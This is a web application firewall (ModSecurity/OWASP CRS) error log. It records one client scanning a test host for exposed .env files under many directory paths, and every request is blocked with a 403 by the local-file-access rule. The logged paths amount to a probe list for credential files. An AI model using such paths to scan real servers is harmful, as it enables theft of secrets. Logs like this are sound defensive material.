[Thu Feb 26 01:03:15.291706 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/repo/.env&quot;] [unique_id &quot;aZ-NwySJSniLip0oFXizKAAAAAA&quot;]
[Thu Feb 26 01:03:15.291857 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/repo/.env&quot;] [unique_id &quot;aZ-NwySJSniLip0oFXizKAAAAAA&quot;]
[Thu Feb 26 01:03:15.319580 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /resources/docker/rediscommander/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/resources/docker/rediscommander/.env&quot;] [unique_id &quot;aZ-NwzAL5Lg_nL66HcLh-wAAAAE&quot;]
[Thu Feb 26 01:03:15.319843 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/resources/docker/rediscommander/.env&quot;] [unique_id &quot;aZ-NwzAL5Lg_nL66HcLh-wAAAAE&quot;]
[Thu Feb 26 01:03:15.319992 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/resources/docker/rediscommander/.env&quot;] [unique_id &quot;aZ-NwzAL5Lg_nL66HcLh-wAAAAE&quot;]
[Thu Feb 26 01:03:15.326515 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /repos/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/repos/.env&quot;] [unique_id &quot;aZ-NwySJSniLip0oFXizKQAAAAA&quot;]
[Thu Feb 26 01:03:15.326733 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/repos/.env&quot;] [unique_id &quot;aZ-NwySJSniLip0oFXizKQAAAAA&quot;]
[Thu Feb 26 01:03:15.326873 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/repos/.env&quot;] [unique_id &quot;aZ-NwySJSniLip0oFXizKQAAAAA&quot;]
[Thu Feb 26 01:03:15.353069 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /repository/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/repository/.env&quot;] [unique_id &quot;aZ-NwySJSniLip0oFXizKgAAAAA&quot;]
[Thu Feb 26 01:03:15.353301 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/repository/.env&quot;] [unique_id &quot;aZ-NwySJSniLip0oFXizKgAAAAA&quot;]
[Thu Feb 26 01:03:15.353454 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/repository/.env&quot;] [unique_id &quot;aZ-NwySJSniLip0oFXizKgAAAAA&quot;]
[Thu Feb 26 01:03:15.363026 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /resourcesync/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/resourcesync/.env&quot;] [unique_id &quot;aZ-NwzAL5Lg_nL66HcLh_AAAAAE&quot;]
[Thu Feb 26 01:03:15.363255 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/resourcesync/.env&quot;] [unique_id &quot;aZ-NwzAL5Lg_nL66HcLh_AAAAAE&quot;]
[Thu Feb 26 01:03:15.363405 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/resourcesync/.env&quot;] [unique_id &quot;aZ-NwzAL5Lg_nL66HcLh_AAAAAE&quot;]
[Thu Feb 26 01:03:15.380892 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /resources/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/resources/.env&quot;] [unique_id &quot;aZ-NwySJSniLip0oFXizKwAAAAA&quot;]
[Thu Feb 26 01:03:15.381109 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/resources/.env&quot;] [unique_id &quot;aZ-NwySJSniLip0oFXizKwAAAAA&quot;]
[Thu Feb 26 01:03:15.381256 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/resources/.env&quot;] [unique_id &quot;aZ-NwySJSniLip0oFXizKwAAAAA&quot;]
[Thu Feb 26 01:03:15.409536 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /resources/docker/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/resources/docker/.env&quot;] [unique_id &quot;aZ-NwySJSniLip0oFXizLAAAAAA&quot;]
[Thu Feb 26 01:03:15.409758 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/resources/docker/.env&quot;] [unique_id &quot;aZ-NwySJSniLip0oFXizLAAAAAA&quot;]
[Thu Feb 26 01:03:15.409905 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/resources/docker/.env&quot;] [unique_id &quot;aZ-NwySJSniLip0oFXizLAAAAAA&quot;]
[Thu Feb 26 01:03:15.433123 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /resources/docker/mysql/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/resources/docker/mysql/.env&quot;] [unique_id &quot;aZ-NwySJSniLip0oFXizLQAAAAA&quot;]
[Thu Feb 26 01:03:15.433345 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/resources/docker/mysql/.env&quot;] [unique_id &quot;aZ-NwySJSniLip0oFXizLQAAAAA&quot;]
[Thu Feb 26 01:03:15.433491 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/resources/docker/mysql/.env&quot;] [unique_id &quot;aZ-NwySJSniLip0oFXizLQAAAAA&quot;]
[Thu Feb 26 01:03:15.448597 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /rest/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/.env&quot;] [unique_id &quot;aZ-NwzAL5Lg_nL66HcLh_gAAAAE&quot;]
[Thu Feb 26 01:03:15.448806 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/.env&quot;] [unique_id &quot;aZ-NwzAL5Lg_nL66HcLh_gAAAAE&quot;]
[Thu Feb 26 01:03:15.448945 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/.env&quot;] [unique_id &quot;aZ-NwzAL5Lg_nL66HcLh_gAAAAE&quot;]
[Thu Feb 26 01:03:15.469917 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /resources/docker/phpmyadmin/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/resources/docker/phpmyadmin/.env&quot;] [unique_id &quot;aZ-NwySJSniLip0oFXizLgAAAAA&quot;]
[Thu Feb 26 01:03:15.470143 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/resources/docker/phpmyadmin/.env&quot;] [unique_id &quot;aZ-NwySJSniLip0oFXizLgAAAAA&quot;]
[Thu Feb 26 01:03:15.470304 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/resources/docker/phpmyadmin/.env&quot;] [unique_id &quot;aZ-NwySJSniLip0oFXizLgAAAAA&quot;]
[Thu Feb 26 01:03:15.483835 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /restapi/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/restapi/.env&quot;] [unique_id &quot;aZ-NwzAL5Lg_nL66HcLh_wAAAAE&quot;]
[Thu Feb 26 01:03:15.484067 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/restapi/.env&quot;] [unique_id &quot;aZ-NwzAL5Lg_nL66HcLh_wAAAAE&quot;]
[Thu Feb 26 01:03:15.484214 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/restapi/.env&quot;] [unique_id &quot;aZ-NwzAL5Lg_nL66HcLh_wAAAAE&quot;]
[Thu Feb 26 01:03:15.495914 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /resources/docker/rabbitmq/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/resources/docker/rabbitmq/.env&quot;] [unique_id &quot;aZ-NwySJSniLip0oFXizLwAAAAA&quot;]
